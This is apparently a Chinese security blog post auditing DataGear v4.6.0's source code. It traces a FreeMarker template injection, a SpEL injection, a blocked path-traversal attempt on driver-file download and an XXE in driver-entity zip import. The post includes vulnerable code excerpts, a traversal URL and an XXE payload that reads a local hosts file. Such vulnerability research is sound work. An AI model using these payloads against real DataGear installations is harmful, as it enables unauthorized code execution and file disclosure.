DataGear代码审计

前言

代码地址 https://github.com/datageartech/datagear/tree/v4.6.0

Freemarker SSTI (前台)

https://sp4rks.xyz/2025/03/23/JAVA%E5%AE%89%E5%85%A8/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/SSTI%E6%B3%A8%E5%85%A5-FreeMarker/

Freemarker解析模板的基本格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@Mapping("/vuln")
public String renderTemplate(@Param String template) throws TemplateException, IOException {
// 检查模板是否为 null
if (template == null) {
throw new IllegalArgumentException("Template content cannot be null");
}

// 将用户输入的模板存入 TemplateLoader
String templateName = "userTemplate";
templateLoader.putTemplate(templateName, template);

// 通过 TemplateLoader 获取模板
Template freemarkerTemplate = cfg.getTemplate(templateName);

Map<String, Object> dataModel = new HashMap<>();

StringWriter out = new StringWriter();
// 解析
freemarkerTemplate.process(dataModel, out);

return out.toString();

直接搜索方法

1
.process(

找到了org.datagear.analysis.support.DataSetFmkTemplateResolver#resolve(java.lang.String, org.datagear.analysis.support.TemplateContext)

image-20250602102511981

在当前resolve方法中,template是可控的,然后他会调用setTemplate在当前线程绑定一个template

image-20250602103602640

this.configuration.getTemplate 其中configuration是一个属性,在DataSetFmkTemplateResolver的构造方法中其实就被指定成为了FreeMarker中Configuration类,然后调用了getTemplate,从这个方法的名字看来也就是获取一个模板。随后通过process方法去解析这个模板。随后就是找谁调用了这个方法。

找到了三个地方有调用这个方法,但是可以看到这里直接到Controller了所以直接跟进Controller查看org.datagear.web.controller.DataSetController#resolveSqlTemplate

image-20250602104001934

这里是第三个参数

image-20250602104224962

这里就是到了具体的Controller,而且还是可控的,这里基本上就能确定有SSTI漏洞了,看一下具体的payload如何构造,这里加了注解@RequestBody 把HTTP 请求体中的数据绑定到方法参数上,最常用的格式是json,变相的也说明了需要使用POST,因为只有POST等方法才能携带请求体

image-20250602160526970

去看ResolveSqlParam类型,字段名是sql

image-20250602105658988

所以我们尝试访问,并构造请求

image-20250602105937625

SPEL注入 (后台)

基本写法

1
2
3
4
5
6
7
public class Main {
public static void main(String[] args) {
SpelExpressionParser parser = new SpelExpressionParser(); //SPEL解析器
Expression value = parser.parseExpression("'Hello World'.concat('!')"); //解析了一个字符串表达式,并且表达式调用了字符串对象的concat方法
System.out.println(value.getValue()); //得到解析的值,输出
}
}

在datagear项目搜索

1
new SpelExpressionParser(

找到了

org.datagear.persistence.support.ConversionSqlParamValueMapper#DEFAULT_SPEL_EXPRESSION_PARSER

image-20250603160616892

image-20250603160630115

expression.getContent(),其中getContent()只是一个简单的get方法,返回一个content,这里的expression明显是可控的

image-20250603160802007

一层一层往上查找调用找到了这里org.datagear.persistence.support.DefaultPersistenceManager#mapToSqlParamValue

image-20250603162518290

往上跟mapToSqlParamValue方法的调用发现在调用insert、update、delet、get的时候都会调用到

image-20250603162547949

image-20250603162637528

insert和update方法的调用可以直接找到在DataController中,入口 /{schemaId}/{tableName}/saveAdd和/{schemaId}/{tableName}/saveEdit

get方法的调用可以找到到3个控制器分别为:/{schemaId}/{tableName}/view、/{schemaId}/{tableName}/edit、/{schemaId}/{tableName}/downloadColumnValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@RequestMapping("/{schemaId}/{tableName}/view")
public String view(HttpServletRequest request, HttpServletResponse response,
org.springframework.ui.Model springModel, @PathVariable("schemaId") String schemaId,
@PathVariable("tableName") String tableName, @RequestBody Map<String, ?> paramData) throws Throwable
{
final User user = WebUtils.getUser();
final Row row = convertToRow(paramData);

final DefaultLOBRowMapper rowMapper = buildFormDefaultLOBRowMapper();

new VoidSchemaConnTableExecutor(request, response, springModel, schemaId, tableName, true)
{
@Override
protected void execute(HttpServletRequest request, HttpServletResponse response,
org.springframework.ui.Model springModel, Schema schema, Table table) throws Throwable
{
checkReadTableDataPermission(schema, user);

Connection cn = getConnection();

Row formModel = persistenceManager.get(cn, null, table, row, buildConditionSqlParamValueMapper(),
rowMapper);

if (formModel == null)
throw new RecordNotFoundException();

setFormModel(springModel, formModel, REQUEST_ACTION_VIEW, SUBMIT_ACTION_NONE);
}
}.execute();

setFormPageAttributes(request, springModel);

return "/data/data_form";
}

然后编辑,查看,导出,删除都是能触发的

image-20250607125446321

任意文件下载(失败)

全局搜索download,翻了所有的controller,基本上只有这个有可控的地方

image-20250603101702730

可以看到文件的名字是完全可控的

image-20250603102010861

尝试使用payload,但是下载失败了

1
http://127.0.0.1:50401/driverEntity/downloadDriverFile?id=1&file=../../.../../../../../../../../../Windows/win.ini

跟一下代码发现org.datagear.util.FileUtil#checkBackwardPathNoTrim 有安全检查

image-20250603134819620

只要包含..就直接抛出异常

1
2
3
4
5
6
7
8
protected static boolean containsBackwardPathNoTrim(String path)
{
if (path == null)
return false;

return (path.indexOf(".." + PATH_SEPARATOR) > -1 || path.indexOf(PATH_SEPARATOR + "..") > -1);
}

image-20250603134838783

尝试使用二次编码绕过,但是下载下来的文件很奇怪,感觉是把输入当成了文件名字

本地路径在 C:\Users\14.datagear\temp\driverEntity\1%2e%2e%2f%2e%2e%2f222.txt

image-20250603142855344

跟到这里也就是说并没有路径穿越,输入的payload拼接出了一个特殊文件,被当作完整文件名处理了

image-20250603143118210

XXE (后台)

全局搜索 XML解析器 DocumentBuilderFactory或者SAXParserFactory或者XMLInputFactory,也直接直接搜索newInstance查看是什么解析器

在org.datagear.connection.XmlDriverEntityManager#readDriverEntities找到了DocumentBuilderFactory,并且从这里看输入是可控的

image-20250607130435000

一层层网上找调用,找到了

org.datagear.web.controller.DriverEntityController#uploadImportFile

这里可控的参数是multipartFile然后上传了之后写进了importFile,然后可以看到是用zip格式来处理,这里说明了我们是需要上传一个压缩包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
@RequestMapping(value = "/uploadImportFile", produces = CONTENT_TYPE_JSON)
@ResponseBody
public List<DriverEntity> uploadImportFile(HttpServletRequest request, HttpServletResponse response,
@RequestParam("importId") String importId, @RequestParam("file") MultipartFile multipartFile)
throws Exception
{
File directory = getTempImportDirectory(importId, true);

FileUtil.clearDirectory(directory);

File importFile = FileUtil.getFile(directory, TEMP_IMPORT_FILE_NAME);

InputStream in = null;
OutputStream importFileOut = null;
try
{
in = multipartFile.getInputStream();
importFileOut = IOUtil.getOutputStream(importFile);
IOUtil.write(in, importFileOut);
}
finally
{
IOUtil.close(in);
IOUtil.close(importFileOut);
}

ZipInputStream importFileIn = IOUtil.getZipInputStream(importFile);

XmlDriverEntityManager driverEntityManager = new XmlDriverEntityManager(directory);

try
{
driverEntityManager.init();

return driverEntityManager.readDriverEntitiesFromZip(importFileIn);
}
catch (DriverEntityManagerException e)
{
throw new IllegalImportDriverEntityFileFormatException(e);
}
finally
{
IOUtil.close(importFileIn);
driverEntityManager.releaseAll();
}
}

把这个xml名字改为driverEntityInfo.xml,然后压缩成一个压缩包

主要的判断逻辑在 org.datagear.connection.XmlDriverEntityManager

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE driver-entities [
<!ENTITY edward SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>
<driver-entities>
<driver-entity>
<id>&edward;</id>
<driver-class-name>x</driver-class-name>
</driver-entity>
</driver-entities>

image-20250607164744598


DataGear代码审计
https://sp4rks3.github.io/2025/06/07/代码审计/DataGear代码审计/
作者
Sp4rks3
发布于
2025年6月7日
许可协议